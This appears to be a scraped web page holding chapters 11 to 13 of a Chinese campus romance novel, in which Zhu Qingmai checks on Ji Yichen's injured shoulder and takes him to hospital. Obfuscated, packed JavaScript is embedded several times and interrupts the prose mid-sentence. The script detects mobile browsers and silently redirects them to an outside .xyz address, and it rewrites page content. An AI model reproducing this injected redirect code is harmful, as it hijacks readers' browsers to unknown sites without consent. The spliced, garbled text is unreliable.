;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438699|185017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心图集，把祝清麦从神游中拉回来，突然站起身。 “你吃吧，我先回去了。” 经过浴室门口，她扫到洗漱台那一排瓶瓶罐罐和拉直头发的工具。 突然明白了纪以辰为什么在浴室里待那么久。 她突然想到钟冉跟她说的话。 判断男生有没有喜欢的女生，从他的行为变化上就能看出来。 看来这个女生喜欢直发。 纪以辰才废大工夫把维持好多年的卷发拉直。 “……” 祝清麦开门离开。 纪以辰放下筷子，点开贺书源的对话框：［你出的主意，确定管用吗？］ 对面隔了一会儿发来一个“？” ［贺书源：你质疑我？你竟然质疑一个有经验的爱情军师给你出的主意不行？］ ［贺书源：怎么说我也是有助攻成功的案例和经验！］ 纪以辰发过去两个字：［呵呵。］ 不留情面戳穿他：［助攻你爸妈成功约会算什么经验？］ ［贺书源：那是不是成功助攻了吧！只要成功助攻了就算经验。照着你发来的类型，我昨晚找了那么多例子让你模仿，只要你站在小满审美点上，肯定能成。］ 纪以辰看着上面所谓“小狗型”男生的照片，黑着脸把刚收到的信息截图甩给贺书源。 ［小满：系里有急事，我先回去啦！回学校别忘了继续我们的约定。］ ［纪以辰：这就是你跟我说的能成？］ 他也真是昏头了，竟然信了贺书源的鬼话。 * 度假村有专门对外销售的超市和甜品店。 回校前，祝清麦特意去打包了几样特色低糖小甜品带回去给钟冉和季琳。 甜品获得两人一致好评。 唯一让钟冉觉得遗憾的就是她没去攻略里的桃源poseclub，错失了看腹肌帅哥的机会。 大概是钟冉念叨“腹肌”“帅哥”字眼太过频繁。 成功让手机大数据监听到了。 于是，祝清麦睡前刷的视频，画风明显发生了变化。 各种动漫视频和绘画教程里时不时会蹦出几个腹肌美男跳舞。 祝清麦长按视频点了不感兴趣。 接下来遇到此类视频都是如此。 但手机就像中病毒了一样。 视频不仅没减少推送，甚至连续几条都是帅哥和腹肌。 祝清麦盯着视频。 不由自主地，脑海中就浮现纪以辰的模样。 摇摇头，甩掉脑海里的画面。 …… 临近体测这几天，大一的晚修都暂停了，时间给新生用来练习。 班级群里每天都连续通知三遍，体测不通过的后果和严重性。 钟冉的特训从舞蹈室练习仰卧起坐变成操场上跑八百米。 晚上六点，操场上聚了许多练习体测项目的人。 “冉冉，调整呼吸。” 祝清麦陪她绕操场跑圈，季琳在终点位置掐秒表。 “这个速度不行啊，还得练。”季琳把秒表用时给两人看。 钟冉蹲坐在地上，“歇一会儿呗。” “不歇，但可以起来走走缓缓呼吸。”季琳把秒表递给祝清麦，把钟冉拽起来，“缓好了我陪你跑一次。” 钟冉被季琳带着走了几圈，拖到八百米起点。 祝清麦接到讯号按下秒表计时。 沈湫拖着大箱子跟在沈乔后面，路过操场眼尖地看到的祝清麦。 “是仙女！” 他也不管沈乔了，箱子推给她就往操场跑。 “同学！这么巧！你也是榆阳大学的学生啊！” 祝清麦闻声抬头。 男生跑过来，眼睛亮晶晶的看她。 “我们之前见过的。”沈湫眼里写满期待，“你还记得吗？” “在度假村。” 祝清麦脑海里快速搜索，记忆和眼前人重合，“记得，谢谢你的纸巾。” 一面之缘，沈湫本来不抱希望。 所以他也就试探一问。 没想到仙女真记得他，一时很惊喜，呆呆的笑，有些羞涩。 贺书源去超市买水，远远看着这一幕，忙掏出手机拍了几张照片发给纪以辰。 ［贺书源：坏了兄弟，碰见个真的。］ 11. 第十一章 贺书源发完消息特意在原地盯了两人一会儿。 见男生和祝清麦说了几句后就站在旁边再没别的动作。 纪以辰一直也没回复。 贺书源再三回头，确定男生没有行动，加快了回体育馆的速度。 体育馆里。 纪以辰站在角落，倚靠在墙上低头刷钩织教程，时不时盯着栏杆上练习引体向上的双胞胎。 周围也有不少练习体测项目的学生，女生聚集的地方几个人盯着他的方向窃窃私语。 “头发拉直好像更帅了！” “卷发是酷哥，现在直接变身清纯男大。” “啊啊啊我天！这不纯纯小狼狗即视感！” ………… 栏杆上的双胞胎用尽力气，脚离地一秒又落地。 纪以辰终于没耐性地“嗤”了声，“你俩要不然就认了这一年的体育选修课，好好练，争取明年再战。” “不行！”于博双手握着栏杆使劲向上，“不是说……临阵磨枪……不快也光？不到正式体测……我！是！……不！会！放弃的！” 于博一直是很要面子的人。 更何况周围还有不少女生举手机拍摄。 虽然知道女生们拍的是纪以辰，但万一他不小心入境了呢。 他可不想在任何照片上留下自己的丑照和黑历史。 “啧。” “早几年有这觉悟呢，是不是现在也不至于说话大喘气了。”纪以辰挑眉，“这也又教又磨又练习也好几天了，你俩这引体向上，一个2一个3，双胞胎的默契全在这上面了。” 于博和于理：“……” 憋屈！真憋屈……还无法反驳！ 贺书源大步回来就看见于博还在咬牙奋力向上，脸憋通红。 一旁的于理握着栏杆，胳膊直直就那么吊着，明显摆烂。 “辰哥，快看手机。”贺书源递给他一瓶水，转身又去给挂在栏杆上的双胞胎送水。 纪以辰有些莫名，拧开水喝了几口才慢悠悠地走去排椅。 从搭在上面的外套里拿出手机，懒洋洋靠坐在椅子上解锁。 盯着照片看几秒，身体慢慢坐直，双指滑动放大图片。 “哗啦”一声，三人同时抬头。 只见纪以辰匆匆向外走，外套都没顾。 “辰哥这……是怎么了？”于理盯着座椅上已经变形的水瓶咽了咽口水。 贺书源收回目光笑，“没事，就是城门失守了。” * 钟冉被季琳拖着跑完一圈。 学校操场一圈400米。 祝清麦这边盯着秒表数字变化，时不时在操场上搜寻钟冉和季琳的位置。 秒表时间飞过4分30秒及格线。 季琳拽着钟冉在跑道上，还有大半圈。 沈湫就直愣愣站在旁边，时不时挠挠头一脸苦恼。 自从在度假村被沈乔打断没要到祝清麦的微信，就一直念念不忘。 前一天和沈乔拌嘴他还叉腰信誓旦旦。 说只要能跟仙女搭上话就肯定能要到微信。 现如今搭上话了。 却迟迟不知道怎么开口要微信。 上来直接要？ 会不会太唐突了？ 祝清麦关注点一直在钟冉和季琳身上。 怕打击钟冉，秒表分钟刚过五就被她掐停。 钟冉抱着季琳胳膊慢吞吞往这边挪。 距离两米，祝清麦刚准备上前搭手扶人，钟冉手遮脸，朝她挤了几个表情制止她。 然后…… 就见钟冉和季琳两人直直从她面前经过。 祝清麦：“？” 钟冉和季琳蹲到距离不远的暗处。 钟冉腿软，靠着季琳才站稳，但手上动作很灵活。 眼巴巴看着不远处的两人，疲惫消去大半：［快快快小满！你的桃花来了！］ 祝清麦：“……” 祝清麦按灭手机，朝两人的方向看了眼。 钟冉和季琳默契地露出“快把握机会！”的笑容，做了一个加油的手势。 祝清麦：“……” 她这才分眼神给身边像站军姿模样的男生。 一开始她以为男生来打个招呼就会离开。 但招呼打完后人一直没走，就在旁边站着，也没再说话。 祝清麦也疑惑过，但心思很快挂回到钟冉身上。 毕竟操场是公共区域，男生不离开也正常。 万一站军姿是人家的信念。 或者人家就喜欢站军姿在这个位置发呆呢。 祝清麦微信上喊两人回去。 钟冉坚持再等一会儿：［我感觉他的目标是你，看他会不会要微信，万一真是桃花，回去不就错过了？］ ［小满：谁要微信还在旁边站军姿啊，证明自己信念坚定吗？］ 祝清麦收了秒表，拍拍衣服继续敲字：［你俩如果想参加蚊子家族的狂欢party就继续蹲着吧，我要回去了。］ “………” 祝清麦迈步准备离开的时候，江湫终于从微信轰炸声里回神。 向前一步，站到她面前。 祝清麦脚步一顿。 欲起身的钟冉拉着季琳又蹲了回去。 江湫见她要走，急忙红着脸把一直默念的腹稿脱口，“同学，那个……可以加个微信了解一下吗？” “哇呜~终于等到了！”暗处的钟冉露出一副“我果然没猜错”的表情，挂上姨母笑。 沈乔也放下手机停止微信轰炸。 耳边忽然传来一声冷笑。 沈乔偏头看向声音来源。 操场周围光线很暗。 离她不远处站着一男生，很高，一米九的样子，单手插兜看向操场方向。 面容看不太清，但直觉是个帅哥。 没几秒，男生打着电话转身离开。 沈乔坐在行李箱上刷手机，等沈湫凯旋。 “走吧。”沈湫丧着脸回来。 沈乔：“？” 这是被拒绝了？ “我是不是注定和仙女没缘分？”沈湫的悲伤快要溢出来，“眼看就要加上微信了，结果仙女接了通电话就跑了。” 沈乔：“……” 原谅她不厚道地笑了。 * 祝清麦接到陈歆电话的时候还有些懵。 电话里陈歆语气很急，“小满啊，刚才跟小辰通话，听到他室友正劝他去医务室，我没听清伤到哪了。依稀听见他们说挺严重千万别落下病根。我这问他他也不肯跟我说啊，就说不严重不用管。” 祝清麦愣愣听着，纪以辰受伤了。 “我现在一时半会儿赶不去榆阳。”陈歆在电话那边吸吸鼻子，“小满啊，你现在有没有时间帮陈姨去他寝室看一眼，看看小辰伤得重不重。严重的话你帮陈姨盯着，劝他去医务室，他听你的话。” 祝清麦回神，当即应下，一边跟陈歆通话一边往新男寝方向去。 逆着闲谈轧路的人流，脚步匆匆。 为什么会受伤？ 好像还很严重？ 打架了？ 祝清麦几乎瞬间否决了这个想法。 搬到青北后，因为重读一级，纪以辰成了整个年组年纪最大的学生。 同组小豆丁眼里，他聪明，个子又高，是个“很厉害的巨人”，很少主动惹他。 上了初中，在大多数男生把“拉帮结派”，出行“成群结队”看作酷，“打架”叫作“为自己不蒸馒头也要争口气”的年纪。 他每天带着不重样的小吃，在小区等车点等她写生下课回家，听她碎碎念。 这人明明很有耐心，虽然偶尔拽拽的，但真在她面前，又没什么脾气。 风卷树叶纷飞。 一些记忆慢慢清晰，祝清麦突然想起。 她见过纪以辰打架。 那是初三下半年，学校管理层为冲升学率第一的位置，统一租了个郊外安静的厂楼组织了一次封闭集训。 祝清麦推着行李箱，住进临时搭建的六人集体宿舍。 刚开始，寝室气氛还是融洽的。 封闭集训的日子很枯燥，白天不是整天课就是刷一整天模拟题，然后排名复盘再考。 唯一的放松时刻就是晚上三两个女生趴在被窝里，躲着巡查老师悄默默讨论班里哪个男生帅。 其中有个女生叫唐莹。 很漂亮，大眼睛，长睫毛，话里提到最多的就是纪以辰。 这种话题祝清麦一般不参与。 默默把被子边掖到身下，整个人缩进被里把自己牢牢包裹住，好来抵挡凶猛的蚊子大军。 但没什么用，她还是被咬得惨兮兮。 早上起床，旁边的姜悦凑近她的脸语气惊讶，“天呐，昨晚的蚊子这么色吗？专在漂亮脸蛋上咬？” “这算什么。”祝清麦扯出一个难看的笑容，撸起袖子，露出更惨的胳膊。 姜悦：“……” “看吧，果然连蚊子都搞区别对待，知道甜妹的血甜，专叮你一个人，再看我。”姜悦露出光滑的胳膊，“感觉是因为你睡我旁边，才得以幸免，大恩不言谢。” 祝清麦：“……我怀疑你在炫耀。” 姜悦嘿嘿笑笑，“才没有，是真的很感谢你。” ……这种感谢还是算了。 一旁的唐莹不轻不重的“呵”了声，合上手里的镜子，把床上一堆像笔一样大小长短不一的小黑管装进一个黑袋里，再小心翼翼放进行李箱夹层。 集体生活不可能没有摩擦。 来之前，苏女士和陈女士都跟她说过。 况且唐莹表现也很明显，祝清麦再迟钝也察觉到唐莹这几天对她的态度很不友善。 “别管她。”姜悦翻了个白眼，自来熟地挽上她胳膊，拿盆跟她一起往外走。 洗漱池临时搭在宿舍外的露天场地，男女共用。 姜悦问她，“你和纪以辰是不是认识？” 祝清麦点头，“我们是邻居，父母又是朋友，一起长大的。” “啊……是青梅竹马啊……那就对了。”姜悦笑，“唐莹是把你当情敌了。” 祝清麦感到莫名其妙。 “前天就在那边。”姜悦指指洗漱池一角，“唐莹去找纪以辰搭讪来着，但人家半个眼神都没分她。看见你出来不仅端盆去你身边还主动跟你搭话，唐莹感觉面子上有些挂不住，回宿舍发了好大的脾气，不过你当时没在。” “看，还屡败屡战呢。”姜悦使眼色示意她。 祝清麦看过去，点点头，“唐莹确实很漂亮，身材也好。” “你真信她天生就长这样这种鬼话？”姜悦难以置信，“不过身材确实没办法作假，确实好。” “我知道她是化妆化出来的。”祝清麦弯唇，一侧酒窝浅浅，“但赞美也是真的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438700|185017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >唐莹很会放大她的美。 那时的祝清麦就已经习惯了随时捕捉周围的“美”。 “看样子唐莹又失败了，你这个竹马可真不留情面，根本不理她。” “你竹马来找你了。”姜悦松手，“我先走了，一会儿见。” 纪以辰略过唐莹朝她的方向来。 她看到唐莹表情微变，还没看清，就被纪以辰挡住，“伸手。” 手腕处都红了一片。 纪以辰把她袖子扯上去，整个胳膊被她挠地通红一片，“被蚊子咬得这么严重怎么不知道跟我说？” 他皱眉，从兜里掏出药膏，低头细细给她涂药，细致到每一寸皮肤，“别再挠了。” 上好药又给她一个驱蚊的香囊。 香囊是纪以辰自己制的，这种看起来和他完全不搭边的细致活，他每年都重复，不厌其烦。 回寝室姜悦看到香囊问了一嘴，“纪以辰给你的？” 祝清麦点头。 不知道是多次搭讪纪以辰被冷漠对待“面子挂不住”还是纪以辰送她香囊刺激了唐莹。 那天开始唐莹单方面跟她撕破脸，一直到集训结束回学校，也总有意无意针对她。 祝清麦虽被家里宠着，但也不是不谙世事。 面对莫名其妙的敌意，不影响她就忽视，影响她了就怼回去。 反正她没错，也有人撑腰。 中考前两天，是考试前的轻松日。 祝清麦卷发是天生的，一般头发扎起来不明显，但只要下雨天或空气湿度高，头发弯曲弧度就会变大。 毕业典礼那天恰逢下雨。 为了搭配礼服，祝清麦就没扎头发，瀑布似的波浪卷发进门就成了焦点。 失去众人目光的唐莹愤愤地收了镜子，好像说了什么，被姜悦夸张的赞叹盖住。 “……” 那天放学，纪以辰被老师喊去办公室谈话。 她坐在阴凉台阶上等他。 看到唐莹带着一个膀大腰圆的大块头走过来，“哥哥，就是她，在学校总针对我。” 祝清麦：“？” 她第一次见到一个人能把颠倒黑白的话说得那么理直气壮。 唐莹绘声绘色地说瞎话，指使大块头一定要给她一个教训。 大块头眼底闪过惊艳，“漂亮妹妹，是不是该给我妹妹道个歉，道个歉，这件事就翻篇了。” 大块头越靠越近，试图伸手拽她。 在大块头手快碰到她时被人狠狠握住扭向一边。 她被人拽着衣摆后退两步。 纪以辰把文件袋一股脑儿塞进她怀里，校服遮住她的视线，隔着衣服拍拍她的头，“祝小满，盖好，别看。” 祝清麦不是会乖乖听话的孩子，她掀开一角，见证了大块头被揍全过程。 以及一旁被纪以辰突然的狠厉吓得不知道怎么反应的唐莹。 两人扭打，可以说是纪以辰单方面揍大块头。 大块头越反抗，越把话题往她身上引，纪以辰下手就越狠。 那是她认识纪以辰以来第一次见他那么凶狠的模样，和她面前的简直判若两人。 “……” 打架这件事很严重。 几个人被赶来的教导主任捉回办公室。 纪以辰把她护在身后只有一句。 “他家小满，谁也不能欺负。” 唐莹一边流泪一边添油加醋，从两人早恋到祝清麦烫发无视校规校纪。 所有人的目光都落在她身上。 教导主任知道两人父母关系，自然不信早恋一说。 但盯着她的卷发皱眉，“我记得你，头发的问题我找过你很多次了，学校三令五申，不让染发烫发，一直也没改，今天又因为头发惹事，回去赶紧把头发处理好。” “她从出生头发就是这样，怎么处理？”纪以辰冷冷反驳，“小满一直安安分分上课，她的头发是天生的，没伤害任何人，倒是这种搬弄是非故意伤人的，是不是该优先处理？” 教导主任被怼，很想发作，但被赶来的苏轻和陈歆打断。 因为教导主任总拿她头发说事，纪以辰第二天就烫了卷发去学校。 纪以辰是学校冲优秀率的王牌，各科科任老师都纵容他，笑呵呵打掩护。 教导主任有气，又不能说什么，只能往肚子里咽。 很久以后祝清麦才知道，那次打架其实纪以辰也受了伤，只不过没露在面上。 大块头被按在地上本能的四处乱挥。 纪以辰身上青紫了淤血了好几块，好久才恢复。 他也不说，偷偷上药偷偷忍着疼，还一次不落的陪她外出写生。 一次颜料水洒到他身上。 他换衣服的时候，祝清麦才意外看到他身上已经暗淡了的印子。 ………… 拐了弯，风把落在路面上的枯叶吹净。 纪以辰总是这样！ 祝清麦不自觉加快脚步。 回忆陈女士提到的那句“万一落下病根就不好了。” 祝清麦心口忽然揪疼一下。 这是得伤多重啊。 祝清麦快到新男寝的时候给纪以辰打去电话。 那边隔了一会儿才接听。 “祝小满。”语气懒懒的，听不出异常，“这个时间找我，怎么了？” “纪以辰。”祝清麦缓口气，语气严肃，“下楼，我在你寝室楼下。” 12. 第十二章 寝室里。 纪以辰握着手机，唇角微微扬起，语气却不显情绪，“祝小满，这么晚了，往男人堆里靠什么，赶紧回去睡觉。” 祝清麦一边给陈女士发消息一边回他，“陈姨说你受伤了要面子死活不去检查，让我监督你去医务室。” “我妈你还不了解？说话就喜欢夸大，没事，就磕了下，不严重。” 于博正往袋子里装冰块，隐隐听见电话那边是女声，好奇地抬头瞅了眼。 见纪以辰一脸柔和，嘴角带笑。 于博揉揉眼睛，不自觉瞪大眼睛。 纪以辰目光扫过来，伸手拿过冰袋，“赶紧回去，别在外面喂蚊子。” 祝清麦总觉得他在欲盖弥彰。 她都到楼下了，纪以辰却一直推脱不下楼。 太不像他了。 于理从洗漱间清理好沾在身上的沙石，出来扶着床栏单脚蹦到纪以辰身边坐下，“辰哥，还疼吗？” “我刚才越想越觉得，你还是去医务室检查一下吧，万一磕出内伤就不好了。”于理伸手想去看他伤势，被纪以辰躲开。 “对啊，还是去检查一下放心些，检查费用我先给你转点，不够回来我们再补。”于博搭腔，转身去拿手机。 又没忘白于理一眼，“都说让你平时少吃点，少吃点，多锻炼！你回回当耳边风，现在好了吧，长这么大就没见过谁走路底盘还能不稳的。” “……” 于博声音不小，祝清麦也能听个大概。 果然确认了！ 纪以辰就！是！在！欲！盖！弥！彰！ 纪以辰手机进来一条来自于博的转账，目光扫过两人，“不用……” “纪以辰！”小姑娘的声音在耳边响起，打断他要说的话，“我给你三分钟的时间，立刻！马上！下楼！你要是不下楼，我就在你寝室楼下一直蹲着。” “……” 通话被挂断，纪以辰听出小姑娘语气里的不满，微微活动下肩膀，无奈起身。 他本想使个小计谋让陈女士阻止小满加别的男生微信，结果没想到一语成谶了。 * 这个时间新男寝亮灯的寝室很少，只有零星几个。 祝清麦叉腰站在花坛边，猜测纪以辰会住哪间，目光直直看向楼门口。 风吹在窗玻璃上阵阵响。 她瞄到一楼看起来最大的屋子，被厚重窗帘遮着。 突然想起之前晨练，一男生说过新男寝每层都存在“实验室”和“人体模型”的事，也不知道纪以辰见没见过。 纪以辰出来，一眼瞄到花坛边的人，眉心一跳。 马上步入十一月，夜晚天凉。 那姑娘感冒才刚好就穿着半袖短裤在外面晃，还离草丛那么近。 “……” 纪以辰冷笑，“祝小满，你人还怪好的，怕蚊子找血太累，直接送人上面，你干脆直接去蚊子家做客吧。” “我又不傻。”祝清麦小跑着凑近，从兜里拿出驱蚊香囊，“我带着这个呢。” 她绕着纪以辰转了一圈，把人上上下下细细打量一遍。 又因为身高差距太大，祝清麦扯他衣服，“纪以辰你低点腰。” 纪以辰俯身。 小姑娘温热的掌心贴在脸上，两人距离忽然拉近。 祝清麦捧着他的脸细细观察，连碎发遮住的额角都没放过。 纪以辰心尖儿一颤。 指腹轻移，酥酥痒痒的感觉蔓延开，感官被无限放大。 他看着她眼睛，呼吸不自觉放慢。 确认没青没紫没擦伤，祝清麦才收回手。 “说了我没事，就轻轻磕了下，你非不信。”纪以辰手握拳，不自在地咳了声。 “你有前科，我当然不信。” 提到前科，祝清麦惊觉检查不能光看表面，作势就要去掀他衣摆。 凉风灌入，纪以辰眼底闪过错愕，快速抓住她手，笑，“祝小满，你可真不客气，这还在外面，衣服说掀就掀。” 祝清麦脑海里只想着找伤，看伤势严不严重。 如今回过神来，脸上一热。 她把手抽回来背在身后，后退一步。 纪以辰悠悠调侃，“虽然这月黑风高夜确实适合做.点打.劫美色的事情，但太光明正大也不好吧。” 祝清麦：“……” 谁要打.劫美.色。 她才没有。 祝清麦低声找补，“我……就是想看看你是不是又把伤藏起来了，忍着疼不说，然后半夜偷偷哭。” 纪以辰：“？” “祝小满，看我像是会因为疼偷哭的人吗？是什么给了你这样的错觉。” 纪以辰报复似的揉乱她头发，收到小姑娘幽怨的目光才肯停手，“怎么总喜欢抹黑我？” “陈姨明明都撞见了，还嘴硬。”祝清麦逐渐气壮，“忘了告诉你，我是受陈姨嘱托来检查你伤的，我现在代表陈姨，看看怎么了？” 祝清麦：“所以四舍五入，我看就等于陈姨看。” 纪以辰：“……” 安静了两分钟，纪以辰才幽幽开口，“代表我妈？你想得美。” * 又一阵冷风。 祝清麦下意识搓搓被吹凉的胳膊。 “在这等我下，送你回寝室。” “我认路，我可以自己回去，送我你还要多走一段路。” 纪以辰抽走她手机，揉揉她头，“等我，手机先当人质。” 发型再次凌乱的祝清麦：“……” 等就等，人质就人质。 能不能不要弄乱她的发型！ 纪以辰再次下来手里多了件外套。 手机还她，纪以辰抖落开外套，“穿上。” 纪以辰特意挑了件短款外套。 到她身上既能盖住大腿挡风，又不会难看。 盯她把拉链拉好，纪以辰才轻推她往前走，“以后大晚上，你一个小姑娘别四处乱晃，尤其是男生多的地方。” 穿过香樟小路。 祝清麦敷衍“嗯”了两声，低头跳着踩地上斑驳树影。 纪以辰想了想又补，“有男生的地方也少去。” 祝清麦停住，转身仰头看他，倒着走路，“……你要不要仔细听听你说的话，是不是有些过分？” 纪以辰扫了眼前面路，跟她保持半臂距离，“现在坏人多，还是要注意一下，别被骗走了。” 祝清麦伸出手数手指，“我给你举例哈，食堂有男生，超市有男生，课堂也有男生，我总不能不吃不喝不上课吧！英语课老师就是男生……英语课……英语课可以考虑不上……” “歪理。”纪以辰打断她，“你知道我不是这个意思。” “还有……英语课必须听，上课不许睡觉也不许摸鱼画画，弄不懂的地方可以问我。” “还有一个月就考四级了，我给你买了书，你先背单词，做模拟卷和真题等我……” 祝清麦抬手默默捂上耳朵。 纪以辰：“…………” 从小到大，只要谈到和英语有关的，她就这样，再不然就耍赖。 吃定他拿她没办法。 纪以辰：“算了，先不说这个了。” 祝清麦手立刻放下，拿手机去拍灌木下的一排白色小蘑菇。 小蘑菇盖不知道被谁画上了小表情。 “……” 这条路晚上很少有人经过。 祝清麦摄像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谢谢学长。” 祝清麦道谢后，拿着纸条往外走，纪以辰就默默跟在身后。 祝清麦走了几步停住。 纪以辰走到她身边站住。 “纪以辰，你就是个大骗子！”祝清麦心里就是莫名有股火气。 她后悔答应陈女士跑这一趟。 她就应该把装陌生人的约定贯彻到底。 不管不问不参与。 这样也不会在这惹一肚子气。 祝清麦把纸条拍给他，“你不是说不严重不疼吗？” “那你自己看着办吧，反正在学校里，我们现在应该是陌生人，医院那边老师学生一大把，人多眼杂的，我就不奉陪了。” “你呢……”祝清麦叉腰拖长声调，“你愿意检查你就去，不愿意检查谁也劝不动你。” 说完祝清麦转身就走。 身后突然“嘶”了声，安静小路上声音格外明显。 祝清麦脚步顿了顿。 就这会儿，手腕被握住。 纪以辰一米九的大个子，从后靠近，弯腰虚贴近，唇碰过耳尖。 祝清麦愣住，周边一切似乎定格。 她分不清是她耳尖热，还是纪以辰唇的温度高。 树叶簌簌下落。 回神。 纪以辰声音似乎带着委屈。 “祝小满，我疼。” 13. 第十三章 “……” 她不该心软。 祝清麦缓过神来十分后悔！ 就应该让纪以辰疼死算了。 祝清麦闭上眼，心底做了几次深呼吸后，慢慢睁开眼。 榆阳大学附属医院三楼。 祝清麦用纪以辰手机挂上号，两人坐在就诊室门口椅子上等叫号。 他们排第五号，前面还有两位。 外面除了他们，还有零星几人等在不同诊室门口。 夜晚医院走廊安静凄凉。 祝清麦没想明白，她怎么就因为纪以辰一句话，就心软了呢？ “……” 她当时确实的确想好不管了，扔下纪以辰回寝室睡觉。 毕竟身体是他自己的，他都不爱惜，她管那么多干什么！ 又没有意义！ 干脆让他自生自灭！ 但听到纪以辰的话后，本来坚定“扔下他不管他”的念头开始动摇。 许是纪以辰很少人前暴露这么脆弱的一面，所以她才会被蛊惑。 更何况还有陈女士这层关系在。 想到陈女士。 祝清麦似乎找到了心软的理由。 她答应陈女士纪以辰如果伤势严重要监督他去医院检查。 话说到就要做到。 对！ 没错！ 一定是这样。 就算不是纪以辰，任何一个陌生人突然嘎巴倒地喊疼，相信她也会伸出援手。 理清思绪，祝清麦低头在微信上简单跟陈歆说了下情况，又洋洋洒洒大篇幅控诉纪以辰的“恶劣”行为。 纪以辰护着右肩，紧紧贴着她坐，能看到微信内容。 “把我写得这么恶劣？” 祝清麦瞄他一眼，往旁边移，跟他拉开距离。 她刚坐稳，纪以辰就贴过来。 祝清麦：“……” 旁边明明有更大的空位置他不坐。 挺大个子的一人儿，也好意思来挤她的位置。 “……” 祝清麦几次欲开口让纪以辰往旁边空位置挪。 每每看过去，纪以辰就立刻皱起眉头，再按按肩膀，装模作样“嘶”一声，问她，“怎么感觉越来越疼了。” 那模样，她要不是了解他，绝对会被他的演技欺骗。 以前怎么没见纪以辰这么会表演呢？ 其他诊室人不多，机器喊了几次号后，走廊只剩她和纪以辰。 祝清麦又试了几次跟他拉开距离，都失败了。 跟怄气似的，此时此刻她就不想跟纪以辰坐一起。 干脆起身坐去对面。 * 诊室门口智能牌亮着就诊中。 祝清麦回忆下前几个人的就诊时长，摸出手机静音开了局贪吃蛇。 对面的人太安静了。 一局结束，祝清麦终于肯分他个眼神。 纪以辰低头专注刷手机。 空荡荡的走廊由远到近多了段急促的“咚咚”声。 祝清麦看过去。 一个头发花白的爷爷拄着拐杖，正东张西望。 拐杖碰地，是急促“咚咚”声的源头。 “哎呀你乱跑什么！”随电梯上来一位奶奶，“不是让你坐着乖乖等我吗？” “你去哪了？”爷爷看到奶奶后就乖乖站在原地不动，奶奶责备他，他也只是慢慢走过去牵上她手，“你去哪了？我找不见你。” 像小孩儿似的。 “傻老头子。”奶奶凑近爷爷耳边大声说，“不是说饿了要吃烤地瓜？给你买回来了。” “好！好！”爷爷拄着拐杖，牵着奶奶的手慢慢向前走，“好，一起吃。” 就近的座位就是两人诊室门口的排椅。 奶奶要放包，爷爷迟迟不肯松手。 纪以辰起身单手帮忙放好包。 奶奶笑着说了好几声谢谢，又往他手机塞了个烤红薯。 纪以辰看着红薯要拒绝，“奶奶，我不用……” 奶奶摆摆手，“挺甜的，你拿着吃。” “甜。”爷爷眼睛全程没离开红薯，样子很急，但依旧乖乖坐着。 红薯应该是特意嘱咐了，切成两半，奶奶用勺子挖了一块，“张嘴。” 爷爷抖着，握住奶奶的手，推向她，“吃……你先吃。” 祝清麦心思一动，打开手机，调出空白页，指尖在屏幕上滑动，画下这一幕。 纪以辰在她身边坐下。 奶奶是个健谈的性子，交谈间知道爷爷病得很重。 “医生建议住院。”奶奶又挖了块红薯喂他，“但这老头子不喜欢医院，年轻时离不开我，人老了也依赖我。” 奶奶笑，“我也不喜欢医院，就每天陪我家老头子来检查，折腾点儿背就折腾点儿吧。” 话题转到纪以辰身上。 听到他肩膀受伤，奶奶热情地要帮他剥红薯皮。 纪以辰笑着拒绝，温热的红薯落进她掌心。 祝清麦：“？” “你们俩这……”奶奶迟疑下，“原来你们认识啊！” 纪以辰“嗯”了声，“我刚惹她生气了，闹别扭呢。” 奶奶露出“原来如此”的表情，“刚见你们坐两边，话也不说，还以你们不认识。” “小伙子，不是我说你，这女孩子生气了得赶紧哄。” “不然把人气大了，等你老了，像你爷爷这样，可没人管你了。” “都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438702|185017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用等你老了，就你现在肩膀伤了，把人惹生气了，身边没人帮忙，不也不方便。” 纪以辰点头说是。 说完纪以辰，祝清麦预感不妙。 果然，下一秒，奶奶就开始做她的思想工作。 奶奶说得口干舌燥，还有继续的趋势，祝清麦赶忙笑着说不生气了。 纪以辰抬头，“真的不生我气了吗？” 祝清麦挤出个笑容，“真的……不生气了。” “哎，这就对了。”奶奶露出满意的笑容。 两个老人坐在对面迟迟没走。 祝清麦低头在手机上画稿。 旁边人突然戳她，“祝小满，我想吃红薯。” “吃呗。”祝清麦头也不抬，把红薯放回他手里。 